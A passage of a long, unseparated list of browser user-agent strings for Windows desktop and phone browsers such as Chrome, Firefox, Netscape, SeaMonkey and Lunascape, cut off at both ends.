ARM; Trident/7.0; Touch; rv:11.0; WPDesktop; NOKIA; Lumia 920) like Geckoo Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/535.11 (KHTML, like Gecko) Iron/17.0.1000.0 Chrome/17.0.1000.0 Safari/535.11 Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.65 Safari/535.11 Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.66 Safari/535.11 Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/535.24 (KHTML, like Gecko) Chrome/19.0.1055.1 Safari/535.24 Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/536.5 (KHTML, like Gecko) Iron/19.0.1100.0 Chrome/19.0.1100.0 Safari/536.5 Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.1 (KHTML, like Gecko) Chrome/19.77.34.5 Safari/537.1 Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.1 (KHTML, like Gecko) Chrome/21.0.1200.0 Iron/21.0.1200.0 Safari/537.1 Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.11 (KHTML, like Gecko) Chrome/23.0.1271.17 Safari/537.11 Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.13 (KHTML, like Gecko) Chrome/24.0.1290.1 Safari/537.13 Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.14 (KHTML, like Gecko) Chrome/24.0.1292.0 Safari/537.14 Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.15 (KHTML, like Gecko) Chrome/24.0.1295.0 Safari/537.15 Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML like Gecko) Chrome/28.0.1469.0 Safari/537.36 Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/27.0.1453.93 Safari/537.36 Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/27.0.1500.55 Safari/537.36 Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/29.0.1547.2 Safari/537.36 Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/30.0.1599.17 Safari/537.36 Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.76 Safari/537.36 OPR/28.0.1750.40 Mozilla/5.0 (Windows NT 6.2; WOW64; rv:1.8.0.7) Gecko/20110321 MultiZilla/4.33.2.6a SeaMonkey/8.6.55 Mozilla/5.0 (Windows NT 6.2; WOW64; rv:12.2) Gecko/20120605 Firefox/12.2 PaleMoon/12.2 Mozilla/5.0 (Windows NT 6.2; WOW64; rv:15.0) Gecko/20120910144328 Firefox/15.0.2 Mozilla/5.0 (Windows NT 6.2; WOW64; rv:16.0.1) Gecko/20121011 Firefox/16.0.1 Mozilla/5.0 (Windows NT 6.2; WOW64; rv:17.0) Gecko/20130620 Thunderbird/17.0.7 Mozilla/5.0 (Windows NT 6.2; WOW64; rv:17.0) Gecko/20130801 Thunderbird/17.0.8 Mozilla/5.0 (Windows NT 6.2; WOW64; rv:19.0) Gecko/20130308 Firefox/19.0 PaleMoon/19.0.2 Mozilla/5.0 (Windows NT 6.2; WOW64; rv:21.0) Gecko/20130514 Firefox/21.0 Mozilla/5.0 (Windows NT 6.2; WOW64; rv:23.0) Gecko/20100101 Firefox/23.0 SeaMonkey/2.20 Mozilla/5.0 (Windows NT 6.2; WOW64; rv:23.0) Gecko/20100101 Thunderbird/23.0 Lightning/2.5b1 Mozilla/5.0 (Windows NT 6.2; WOW64; rv:24.0) Gecko/20100101 Thunderbird/24.0 Mozilla/5.0 (Windows NT 6.2; WOW64; rv:24.0) Gecko/20100101 Thunderbird/24.2.0 Mozilla/5.0 (Windows NT 6.2; WOW64; rv:39.0) Gecko/20100101 Firefox/39.0 Mozilla/5.0 (Windows NT 6.2; WOW64; rv:5.0) Gecko/20100101 Firefox/5.0 Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/32.0.1667.0 Safari/537.36 Mozilla/5.0 (Windows NT 6.2; Win64; x64; rv:12.2.1) Gecko/20120616 Firefox/12.2.1-x64 PaleMoon/12.2.1-x64 Mozilla/5.0 (Windows NT 6.2; Win64; x64; rv:15.0) Gecko/20120819 Firefox/15.0-x64 PaleMoon/15.0-x64 Mozilla/5.0 (Windows NT 6.2; Win64; x64; rv:15.0) Gecko/20120919 Firefox/15.1.1-x64 PaleMoon/15.1.1-x64 Mozilla/5.0 (Windows NT 6.2; Win64; x64; rv:16.0) Gecko/16.0 Firefox/16.0 Mozilla/5.0 (Windows NT 6.2; Win64; x64; rv:16.0.1) Gecko/20121011 Firefox/16.0.1 Mozilla/5.0 (Windows NT 6.2; Win64; x64; rv:16.0.1) Gecko/20121011 Firefox/21.0.1 Mozilla/5.0 (Windows NT 6.2; Win64; x64; rv:21.0.0) Gecko/20121011 Firefox/21.0.0 Mozilla/5.0 (Windows NT 6.2; Win64; x64; rv:27.0) Gecko/20121011 Firefox/27.0 Mozilla/5.0 (Windows NT 6.2; Win64; x64;) Gecko/20100101 Firefox/20.0 Mozilla/5.0 (Windows NT 6.2; rv:11.0) Gecko/20120312 Firefox/11.0 SeaMonkey/2.8 Mozilla/5.0 (Windows NT 6.2; rv:17.0) Gecko/20130801 Thunderbird/17.0.8 Mozilla/5.0 (Windows NT 6.2; rv:19.0) Gecko/20121129 Firefox/19.0 Mozilla/5.0 (Windows NT 6.2; rv:20.0) Gecko/20121202 Firefox/20.0 Mozilla/5.0 (Windows NT 6.2; rv:21.0) Gecko/20130326 Firefox/21.0 Mozilla/5.0 (Windows NT 6.2; rv:22.0) Gecko/20130405 Firefox/22.0 Mozilla/5.0 (Windows NT 6.2; rv:22.0) Gecko/20130405 Firefox/23.0 Mozilla/5.0 (Windows NT 6.2; rv:9.0.1) Gecko/20100101 Firefox/9.0.1 Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like Gecko Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/31.0.1650.57 Safari/537.36 OPR/18.0.1284.49 Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2225.0 Safari/537.36 Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2226.0 Safari/537.36 Mozilla/5.0 (Windows NT 6.3; WOW64; rv:24.0) Gecko/20100101 Thunderbird/24.4.0 Mozilla/5.0 (Windows NT 6.3; WOW64; rv:28.0) Gecko/20100101 Firefox/28.0 SeaMonkey/2.25 Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2049.0 Safari/537.36 Mozilla/5.0 (Windows NT 6.3; rv:36.0) Gecko/20100101 Firefox/36.0 Mozilla/5.0 (Windows NT 6.4; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2225.0 Safari/537.36 Mozilla/5.0 (Windows NT 7.1) AppleWebKit/534.30 (KHTML, like Gecko) Chrome/12.0.742.112 Safari/534.30 Mozilla/5.0 (Windows NT) AppleWebKit/534.20 (KHTML, like Gecko) Chrome/11.0.672.2 Safari/534.20 Mozilla/5.0 (Windows NT; U; en) AppleWebKit/525.18.1 (KHTML, like Gecko) Version/3.1.1 Iris/1.1.7 Safari/525.20 Mozilla/5.0 (Windows Phone 10.0; Android 4.2.1; DEVICE INFO) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.71 Mobile Safari/537.36 Edge/12.0 Mozilla/5.0 (Windows Phone 8.1; ARM; Trident/7.0; Touch; rv:11.0; IEMobile/11.0; NOKIA; Lumia 530) like Gecko Mozilla/5.0 (Windows Phone 8.1; ARM; Trident/7.0; Touch; rv:11.0; IEMobile/11.0; NOKIA; Lumia 630) like Gecko Mozilla/5.0 (Windows Phone 8.1; ARM; Trident/7.0; Touch; rv:11.0; IEMobile/11.0; NOKIA; Lumia 920) like Gecko Mozilla/5.0 (Windows XP; U) Opera 6.05 [de] Mozilla/5.0 (Windows XP; U) Opera 6.06 [en] Mozilla/5.0 (Windows x86; rv:19.0) Gecko/20100101 Firefox/19.0 Mozilla/5.0 (Windows; ; Windows NT 5.1; en; rv:1.9.1.1) Gecko/20090715 Firefox/3.5 Mozilla/5.0 (Windows; ; Windows NT 5.1; rv:1.7.2) Gecko/20040804 Mozilla/5.0 (Windows; JA; Windows NT 6.1; JA; rv:1.9.2) Gecko/20100115 Firefox/3.6 Mozilla/5.0 (Windows; N; Windows 98; en-US; rv:1.8.1) Gecko/20061010 Firefox/2.0 Mozilla/5.0 (Windows; N; Windows ME; en-US; rv:1.8.1) Gecko/20061010 Firefox/2.0 Mozilla/5.0 (Windows; N; Windows NT 5.1; en-US) AppleWebKit/529 (KHTML, like Gecko, Safari/529.0) Lunascape/4.9.9.94 Mozilla/5.0 (Windows; N; Windows NT 5.1; hu-HU) AppleWebKit/529 (KHTML, like Gecko, Safari/529.0) Lunascape/4.9.9.94 Mozilla/5.0 (Windows; N; Windows NT 5.1; id-ID) AppleWebKit/529 (KHTML, like Gecko, Safari/529.0) Lunascape/4.9.9.94 Mozilla/5.0 (Windows; N; Windows NT 5.2; ru-RU) AppleWebKit/529 (KHTML, like Gecko, Safari/529.0) Lunascape/4.9.9.94 Mozilla/5.0 (Windows; N; Windows NT 6.1; ja-JP; rv:1.9.2) Gecko/20100115 Firefox/3.6 Mozilla/5.0 (Windows; U; ; cs-CZ) AppleWebKit/528+ (KHTML, like Gecko, Safari/528.0) Lunascape/5.1.0.0 Mozilla/5.0 (Windows; U; ; cs-CZ) AppleWebKit/528+ (KHTML, like Gecko, Safari/528.0) Lunascape/5.1.1.0 Mozilla/5.0 (Windows; U; ; cs-CZ) AppleWebKit/528+ (KHTML, like Gecko, Safari/528.0) Lunascape/5.1.2.0 Mozilla/5.0 (Windows; U; ; cs-CZ) AppleWebKit/532+ (KHTML, like Gecko, Safari/532.0) Lunascape/5.1.2.3 Mozilla/5.0 (Windows; U; ; en-EN) AppleWebKit/527+ (KHTML, like Gecko, Safari/419.3) Arora/0.8.0 Mozilla/5.0 (Windows; U; ; en-NZ) AppleWebKit/527 (KHTML, like Gecko, Safari/419.3) Arora/0.8.0 Mozilla/5.0 (Windows; U; ; en-NZ) AppleWebKit/527+ (KHTML, like Gecko, Safari/419.3) Arora/0.8.0 Mozilla/5.0 (Windows; U; ; en-US) AppleWebKit/527+ (KHTML, like Gecko, Safari/419.3) Arora/0.8.0 Mozilla/5.0 (Windows; U; ; hu-HU) AppleWebKit/527+ (KHTML, like Gecko, Safari/419.3) Arora/0.10.0 Mozilla/5.0 (Windows; U; ; hu-HU) AppleWebKit/527+ (KHTML, like Gecko, Safari/419.3) Arora/0.10.0 Mozilla/5.0 (Windows; U; BeOS; en-US; rv:1.9.0.7) Gecko/2009021910 Mozilla/5.0 (Windows; U; Dorothy Browser; ko-kr) AppleWebKit/533.3 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.3 Mozilla/5.0 (Windows; U; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727) Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 5.2) Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; el-GR) Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US) Mozilla/5.0 (Windows; U; MSIE 9.0; WIndows NT 9.0; en-US)) Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US) Mozilla/5.0 (Windows; U; Mobile; Dorothy Browser; en-US) AppleWebKit/533.3 (KHTML, like Gecko) Version/3.1.2 Mobile Safari/533.3 Mozilla/5.0 (Windows; U; Win 9x 4.90; SG; rv:1.9.2.4) Gecko/20101104 Netscape/9.1.0285 Mozilla/5.0 (Windows; U; Win 9x 4.90; de-AT; rv:1.0.0) Gecko/20020530 Mozilla/5.0 (Windows; U; Win 9x 4.90; de-AT; rv:1.1) Gecko/20020826 Mozilla/5.0 (Windows; U; Win 9x 4.90; de-AT; rv:1.2.1) Gecko/20021130 Mozilla/5.0 (Windows; U; Win 9x 4.90; de-AT; rv:1.4) Gecko/20030624 Mozilla/5.0 (Windows; U; Win 9x 4.90; de-AT; rv:1.7) Gecko/20040616 Mozilla/5.0 (Windows; U; Win 9x 4.90; de-AT; rv:1.7.11) Gecko/20050728 Mozilla/5.0 (Windows; U; Win 9x 4.90; de-AT; rv:1.7.2) Gecko/20040803 Mozilla/5.0 (Windows; U; Win 9x 4.90; de-AT; rv:1.8.1.23) Gecko/20090825 SeaMonkey/1.1.18 Mozilla/5.0 (Windows; U; Win 9x 4.90; de-DE; rv:0.9.2) Gecko/20010726 Netscape6/6.1 Mozilla/5.0 (Windows; U; Win 9x 4.90; de-DE; rv:0.9.4) Gecko/20011019 Netscape6/6.2 Mozilla/5.0 (Windows; U; Win 9x 4.90; de-DE; rv:0.9.4) Gecko/20011128 Netscape6/6.2.1 Mozilla/5.0 (Windows; U; Win 9x 4.90; de-DE; rv:0.9.4.1) Gecko/20020314 Netscape6/6.2.2 Mozilla/5.0 (Windows; U; Win 9x 4.90; de-DE; rv:0.9.4.1) Gecko/20020508 Netscape6/6.2.3 Mozilla/5.0 (Windows; U; Win 9x 4.90; de-DE; rv:1.0.1) Gecko/20020823 Netscape/7.0 Mozilla/5.0 (Windows; U; Win 9x 4.90; de-DE; rv:1.0.2) Gecko/20021120 Netscape/7.01 Mozilla/5.0 (Windows; U; Win 9x 4.90; de-DE; rv:1.4) Gecko/20030619 Netscape/7.1 (ax) Mozilla/5.0 (Windows; U; Win 9x 4.90; de-DE; rv:1.7.10) Gecko/20050717 Firefox/1.0.6 Mozilla/5.0 (Windows; U; Win 9x 4.90; de-DE; rv:1.7.12) Gecko/20050919 Firefox/1.0.7 Mozilla/5.0 (Windows; U; Win 9x 4.90; de-DE; rv:1.7.5) Gecko/20041122 Firefox/1.0 Mozilla/5.0 (Windows; U; Win 9x 4.90; de-DE; rv:1.7.7) Gecko/20050414 Firefox/1.0.3 Mozilla/5.0 (Windows; U; Win 9x 4.90; de-DE; rv:1.7.8) Gecko/20050511 Firefox/1.0.4 Mozilla/5.0 (Windows; U; Win 9x 4.90; de-DE; rv:1.8.1.21) Gecko/20090331 K-Meleon/1.5.3 Mozilla/5.0 (Windows; U; Win 9x 4.90; de; rv:1.8) Gecko/20051111 Firefox/1.5 Mozilla/5.0 (Windows; U; Win 9x 4.90; de; rv:1.8.1) Gecko/20061010 Firefox/2.0 Mozilla/5.0 (Windows; U; Win 9x 4.90; el; rv:1.8.1.20) Gecko/20081217 Firefox/2.0.0.20 Mozilla/5.0 (Windows; U; Win 9x 4.90; en-GB; rv:0.9.4) Gecko/20011019 Netscape6/6.2 Mozilla/5.0 (Windows; U; Win 9x 4.90; en-GB; rv:1.7.12) Gecko/20050919 Firefox/1.0.7 Mozilla/5.0 (Windows; U; Win 9x 4.90; en-GB; rv:1.8.0.1) Gecko/20060111 Firefox/1.5.0.1 Mozilla/5.0 (Windows; U; Win 9x 4.90; en-GB; rv:1.8.0.2) Gecko/20060308 Firefox/1.5.0.2 Mozilla/5.0 (Windows; U; Win 9x 4.90; en-GB; rv:1.8.1.12) Gecko/20080201 Firefox/2.0.0.12 Mozilla/5.0 (Windows; U; Win 9x 4.90; en-GB; rv:1.8.1.6) Gecko/20070802 SeaMonkey/1.1.4 Mozilla/5.0 (Windows; U; Win 9x 4.90; en-US; rv:0.9.4.1) Gecko/20020314 Netscape6/6.2.2 Mozilla/5.0 (Windows; U; Win 9x 4.90; en-US; rv:1.0.0) Gecko/20020530 Mozilla/5.0 (Windows; U; Win 9x 4.90; en-US; rv:1.0.1) Gecko/20020823 Netscape/7.0 Mozilla/5.0 (Windows; U; Win 9x 4.90; en-US; rv:1.0.1) Gecko/20020826 Mozilla/5.0 (Windows; U; Win 9x 4.90; en-US; rv:1.0.2) Gecko/20021120 Netscape/7.01 Mozilla/5.0 (Windows; U; Win 9x 4.90; en-US; rv:1.0.2) Gecko/20030208 Netscape/7.02 Mozilla/5.0 (Windows; U; Win 9x 4.90; en-US; rv:1.1) Gecko/20020826 Mozilla/5.0 (Windows; U; Win 9x 4.90; en-US; rv:1.4) Gecko/20030624 Netscape/7.0 (ax) Mozilla/5.0 (Windows; U; Win 9x 4.90; en-US; rv:1.4) Gecko/20030624 Netscape/7.1 (ax) Mozilla/5.0 (Windows; U; Win 9x 4.90; en-US; rv:1.6) Gecko/20040206 Firefox/0.8 Mozilla/5.0 (Windows; U; Win 9x 4.90; en-US; rv:1.7.1) Gecko/20040707 Mozilla/5.0 (Windows; U; Win 9x 4.90; en-US; rv:1.7.10) Gecko/20050716 Firefox/1.0.6 Mozilla/5.0 (Windows; U; Win 9x 4.90; en-US; rv:1.7.12) Gecko/20050915 Firefox/1.0.7 Mozilla/5.0 (Windows; U; Win 9x 4.90; en-US; rv:1.7.2) Gecko/20040804 Netscape/7.2 (ax) Mozilla/5.0 (Windows; U; Win 9x 4.90; en-US; rv:1.7.5) Gecko/20041107 Firefox/1.0 Mozilla/5.0 (Windows; U; Win 9x 4.90; en-US; rv:1.7.5) Gecko/20041220 K-Meleon/0.9 Mozilla/5.0 (Windows; U; Win 9x 4.90; en-US; rv:1.7.5) Gecko/20050603 Netscape/8.0.2 Mozilla/5.0 (Windows; U; Win 9x 4.90; en-US; rv:1.7.8) Gecko/20050511 Firefox/1.0.4 Mozilla/5.0 (Windows; U; Win 9x 4.90; en-US; rv:1.7.9) Gecko/20050711 Firefox/1.0.5 Mozilla/5.0 (Windows; U; Win 9x 4.90; en-US; rv:1.8) Gecko/20051111 Firefox/1.5 Mozilla/5.0 (Windows; U; Win 9x 4.90; en-US; rv:1.8.0.1) Gecko/20060111 Firefox/1.5.0.1 Mozilla/5.0 (Windows; U; Win 9x 4.90; en-US; rv:1.8.0.1) Gecko/20060130 SeaMonkey/1.0 Mozilla/5.0 (Windows; U; Win 9x 4.90; en-US; rv:1.8.0.2) Gecko/20060308 Firefox/1.5.0.2 Mozilla/5.0 (Windows; U; Win 9x 4.90; en-US; rv:1.8.0.3) Gecko/20060426 Firefox/1.5.0.3 Mozilla/5.0 (Windows; U; Win 9x 4.90; en-US; rv:1.8.0.4) Gecko/20060508 Firefox/1.5.0.4 Mozilla/5.0 (Windows; U; Win 9x 4.90; en-US; rv:1.8.0.6) Gecko/20060728 Firefox/1.5.0.6 Mozilla/5.0 (Windows; U; Win 9x 4.90; en-US; rv:1.8.0.7) Gecko/20060909 Firefox/1.5.0.7 Mozilla/5.0 (Windows; U; Win 9x 4.90; en-US; rv:1.8.1.1) Gecko/20061204 Firefox/2.0.0.1 Mozilla/5.0 (Windows; U; Win 9x 4.90; en-US; rv:1.8.1.10) Gecko/20071115 Firefox/2.0.0.10 Mozilla/5.0 (Windows; U; Win 9x 4.90; en-US; rv:1.8.1.16) Gecko/20080702 SeaMonkey/1.1.11 Mozilla/5.0 (Windows; U; Win 9x 4.90; en-US; rv:1.8.1.19) Gecko/20081204 SeaMonkey/1.1.14 Mozilla/5.0 (Windows; U; Win 9x 4.90; en-US; rv:1.8.1.22) Gecko/20090605 SeaMonkey/1.1.17 Mozilla/5.0 (Windows; U; Win 9x 4.90; en-US; rv:1.8.1.8pre) Gecko/20071015 Firefox/2.0.0.7 Navigator/9.0 Mozilla/5.0 (Windows; U; Win 9x 4.90; es-ES; rv:1.8.1.10) Gecko/20071116 K-Meleon/1.1.3 Mozilla/5.0 (Windows; U; Win 9x 4.90; fr-FR; rv:0.9.4) Gecko/20011128 Netscape6/6.2.1 Mozilla/5.0 (Windows; U; Win 9x 4.90; fr-FR; rv:1.0.1) Gecko/20020823 Netscape/7.0 Mozilla/5.0 (Windows; U; Win 9x 4.90; fr-FR; rv:1.7.12) Gecko/20050919 Firefox/1.0.7 Mozilla/5.0 (Windows; U; Win 9x 4.90; fr; rv:1.8) Gecko/20051111 Firefox/1.5 Mozilla/5.0 (Windows; U; Win 9x 4.90; it; rv:1.8.0.1) Gecko/20060111 Firefox/1.5.0.1 Mozilla/5.0 (Windows; U; Win 9x 4.90; it; rv:1.8.0.7) Gecko/20060909 Firefox/1.5.0.7 Mozilla/5.0 (Windows; U; Win 9x 4.90; nl-NL; rv:1.7.5) Gecko/20041202 Firefox/1.0 Mozilla/5.0 (Windows; U; Win 9x 4.90; pl; rv:1.8.1.20) Gecko/20081217 Firefox/2.0.0.20 Mozilla/5.0 (Windows; U; Win 9x 4.90; pl; rv:1.8.1.6) Gecko/20070725 Firefox/1.0.1 Mozilla/5.0 (Windows; U; Win 9x 4.90; rv:1.7) Gecko/20040803 Firefox/0.9.3 Mozilla/5.0 (Windows; U; Win 9x 4.90; zh-TW; rv:1.8.1.4) Gecko/20070515 Firefox/2.0.0.4 Mozilla/5.0 (Windows; U; Win95; de-AT; rv:1.0.0) Gecko/20020530 Mozilla/5.0 (Windows; U; Win95; de-AT; rv:1.7.11) Gecko/20050728 Mozilla/5.0 (Windows; U; Win95; de-DE; rv:0.9.2) Gecko/20010726 Netscape6/6.1 Mozilla/5.0 (Windows; U; Win95; de-DE; rv:1.0.1) Gecko/20020823 Netscape/7.0 Mozilla/5.0 (Windows; U; Win95; de-DE; rv:1.0.2) Gecko/20030208 Netscape/7.02 Mozilla/5.0 (Windows; U; Win95; de-DE; rv:1.7.12) Gecko/20050919 Firefox/1.0.7 Mozilla/5.0 (Windows; U; Win95; de; rv:1.8.1) Gecko/20061010 Firefox/2.0 Mozilla/5.0 (Windows; U; Win95; de; rv:1.8.1.1) Gecko/20061204 Firefox/2.0.0.1 Mozilla/5.0 (Windows; U; Win95; en-GB; rv:0.9.4) Gecko/20011019 Netscape6/6.2 Mozilla/5.0 (Windows; U; Win95; en-US; rv:1.0.0) Gecko/20020530 Mozilla/5.0 (Windows; U; Win95; en-US; rv:1.0.1) Gecko/20020823 Netscape/7.0 Mozilla/5.0 (Windows; U; Win95; en-US; rv:1.1) Gecko/20020826 Mozilla/5.0 (Windows; U; Win95; en-US; rv:1.2.1) Gecko/20021130 Mozilla/5.0 (Windows; U; Win95; en-US; rv:1.4) Gecko/20030624 Mozilla/5.0 (Windows; U; Win95; en-US; rv:1.4) Gecko/20030624 Netscape/7.1 Mozilla/5.0 (Windows; U; Win95; en-US; rv:1.5) Gecko/20031007 Firebird/0.7 Mozilla/5.0 (Windows; U; Win95; en-US; rv:1.7.5) Gecko/20041107 Firefox/1.0 Mozilla/5.0 (Windows; U; Win95; en-US; rv:1.8.0.4) Gecko/20060508 Firefox/1.5.0.4 Mozilla/5.0 (Windows; U; Win98; Win 9x 4.90; de; rv:1.8.1) Gecko/20061010 Firefox/2.0 Mozilla/5.0 (Windows; U; Win98; da-DK; rv:1.0.0) Gecko/20020530 Mozilla/5.0 (Windows; U; Win98; de-AT; rv:1.1) Gecko/20020826 Mozilla/5.0 (Windows; U; Win98; de-AT; rv:1.3) Gecko/20030312 Mozilla/5.0 (Windows; U; Win98; de-AT; rv:1.4) Gecko/20030624 Mozilla/5.0 (Windows; U; Win98; de-AT; rv:1.5) Gecko/20031007 Mozilla/5.0 (Windows; U; Win98; de-AT; rv:1.7) Gecko/20040616 Mozilla/5.0 (Windows; U; Win98; de-AT; rv:1.7.12) Gecko/20050915 Mozilla/5.0 (Windows; U; Win98; de-AT; rv:1.7.3) Gecko/20040910 Mozilla/5.0 (Windows; U; Win98; de-DE; rv:0.9.4) Gecko/20011019 Netscape6/6.2 Mozilla/5.0 (Windows; U; Win98; de-DE; rv:0.9.4) Gecko/20011128 Netscape6/6.2.1 Mozilla/5.0 (Windows; U; Win98; de-DE; rv:0.9.4.1) Gecko/20020314 Netscape6/6.2.2 Mozilla/5.0 (Windows; U; Win98; de-DE; rv:0.9.4.1) Gecko/20020508 Netscape6/6.2.3 Mozilla/5.0 (Windows; U; Win98; de-DE; rv:1.0.1) Gecko/20020823 Netscape/7.0 Mozilla/5.0 (Windows; U; Win98; de-DE; rv:1.0.2) Gecko/20021120 Netscape/7.01 Mozilla/5.0 (Windows; U; Win98; de-DE; rv:1.0.2) Gecko/20030208 Netscape/7.02 Mozilla/5.0 (Windows; U; Win98; de-DE; rv:1.4) Gecko/20030619 Netscape/7.1 (ax) Mozilla/5.0 (Windows; U; Win98; de-DE; rv:1.4b) Gecko/20030516 Mozilla Firebird/0.6 Mozilla/5.0 (Windows; U; Win98; de-DE; rv:1.5a) Gecko/20030728 Mozilla Firebird/0.6.1 Mozilla/5.0 (Windows; U; Win98; de-DE; rv:1.7) Gecko/20040803 Firefox/0.9.3 Mozilla/5.0 (Windows; U; Win98; de-DE; rv:1.7.10) Gecko/20050717 Firefox/1.0.6 Mozilla/5.0 (Windows; U; Win98; de-DE; rv:1.7.12) Gecko/20050919 Firefox/1.0.7 Mozilla/5.0 (Windows; U; Win98; de-DE; rv:1.7.5) Gecko/20041122 Firefox/1.0 Mozilla/5.0 (Windows; U; Win98; de-DE; rv:1.7.6) Gecko/20050226 Firefox/1.0.1 Mozilla/5.0 (Windows; U; Win98; de-DE; rv:1.7.7) Gecko/20050414 Firefox/1.0.3 Mozilla/5.0 (Windows; U; Win98; de-DE; rv:1.7.8) Gecko/20050511 Firefox/1.0.4 Mozilla/5.0 (Windows; U; Win98; de-DE; rv:1.8.0.12) Gecko/20070508 Firefox/1.5.0.12 Mozilla/5.0 (Windows; U; Win98; de-DE; rv:1.8.1.24) Gecko/20100228 K-Meleon/1.5.4 Mozilla/5.0 (Windows; U; Win98; de; rv:1.8) Gecko/20051111 Firefox/1.5 Mozilla/5.0 (Windows; U; Win98; de; rv:1.8.0.1) Gecko/20060111 Firefox/1.5.0.1 Mozilla/5.0 (Windows; U; Win98; de; rv:1.8.0.11) Gecko/20070312 Firefox/1.5.0.11 Mozilla/5.0 (Windows; U; Win98; de; rv:1.8.0.4) Gecko/20060508 Firefox/1.5.0.4 Mozilla/5.0 (Windows; U; Win98; de; rv:1.8.0.7) Gecko/20060909 Firefox/1.5.0.7 Mozilla/5.0 (Windows; U; Win98; de; rv:1.8.0.8) Gecko/20061025 Firefox/1.5.0.8 Mozilla/5.0 (Windows; U; Win98; de; rv:1.8.1) Gecko/20061010 Firefox/2.0 Mozilla/5.0 (Windows; U; Win98; de; rv:1.8.1.20) Gecko/20081217 Firefox/2.0.0.20 Mozilla/5.0 (Windows; U; Win98; de; rv:1.8.1.3) Gecko/20070309 Firefox/2.0.0.3 Mozilla/5.0 (Windows; U; Win98; en-CA; rv:1.8.1.4) Gecko/20070515 Firefox/2.0.0.4 Mozilla/5.0 (Windows; U; Win98; en-GB; rv:0.9.4) Gecko/20011128 Netscape6/6.2.1 Mozilla/5.0 (Windows; U; Win98; en-GB; rv:1.7.12) Gecko/20050919 Firefox/1.0.7 Mozilla/5.0 (Windows; U; Win98; en-GB; rv:1.8.0.7) Gecko/20060909 Firefox/1.5.0.7 Mozilla/5.0 (Windows; U; Win98; en-GB; rv:1.8.1.6) Gecko/20070725 Firefox/2.0.0.6 Mozilla/5.0 (Windows; U; Win98; en-US; rv:0.9.1) Gecko/20010607 Netscape6/6.1b1 Mozilla/5.0 (Windows; U; Win98; en-US; rv:0.9.2) Gecko/20010726 Netscape6/6.1 Mozilla/5.0 (Windows; U; Win98; en-US; rv:0.9.4) Gecko/20011019 Netscape6/6.2 Mozilla/5.0 (Windows; U; Win98; en-US; rv:0.9.4) Gecko/20011128 Netscape6/6.2.1 Mozilla/5.0 (Windows; U; Win98; en-US; rv:0.9.4.1) Gecko/20020508 Netscape6/6.2.3 Mozilla/5.0 (Windows; U; Win98; en-US; rv:0.9.9) Gecko/20020311 Mozilla/5.0 (Windows; U; Win98; en-US; rv:1.0.0) Gecko/20020530 Mozilla/5.0 (Windows; U; Win98; en-US; rv:1.0.1) Gecko/20020823 Netscape/7.0 Mozilla/5.0 (Windows; U; Win98; en-US; rv:1.0.2) Gecko/20021120 Netscape/7.01 Mozilla/5.0 (Windows; U; Win98; en-US; rv:1.0.2) Gecko/20030208 Netscape/7.02 Mozilla/5.0 (Windows; U; Win98; en-US; rv:1.0rc2) Gecko/20020510 Mozilla/5.0 (Windows; U; Win98; en-US; rv:1.1) Gecko/20020826 Mozilla/5.0 (Windows; U; Win98; en-US; rv:1.1a) Gecko/20020611 Mozilla/5.0 (Windows; U; Win98; en-US; rv:1.2a) Gecko/20020910 Mozilla/5.0 (Windows; U; Win98; en-US; rv:1.3) Gecko/20030312 Mozilla/5.0 (Windows; U; Win98; en-US; rv:1.3.1) Gecko/20030425 Mozilla/5.0 (Windows; U; Win98; en-US; rv:1.3a) Gecko/20021207 Phoenix/0.5 Mozilla/5.0 (Windows; U; Win98; en-US; rv:1.3a) Gecko/20021212 Mozilla/5.0 (Windows; U; Win98; en-US; rv:1.3b) Gecko/20030210 Mozilla/5.0 (Windows; U; Win98; en-US; rv:1.4) Gecko Netscape/7.1 (ax) Mozilla/5.0 (Windows; U; Win98; en-US; rv:1.4) Gecko/20030624 Mozilla/5.0 (Windows; U; Win98; en-US; rv:1.4) Gecko/20030624 Netscape/7.1 (ax) Mozilla/5.0 (Windows; U; Win98; en-US; rv:1.4a) Gecko/20030401 Mozilla/5.0 (Windows; U; Win98; en-US; rv:1.4b) Gecko/20030516 Mozilla Firebird/0.6 Mozilla/5.0 (Windows; U; 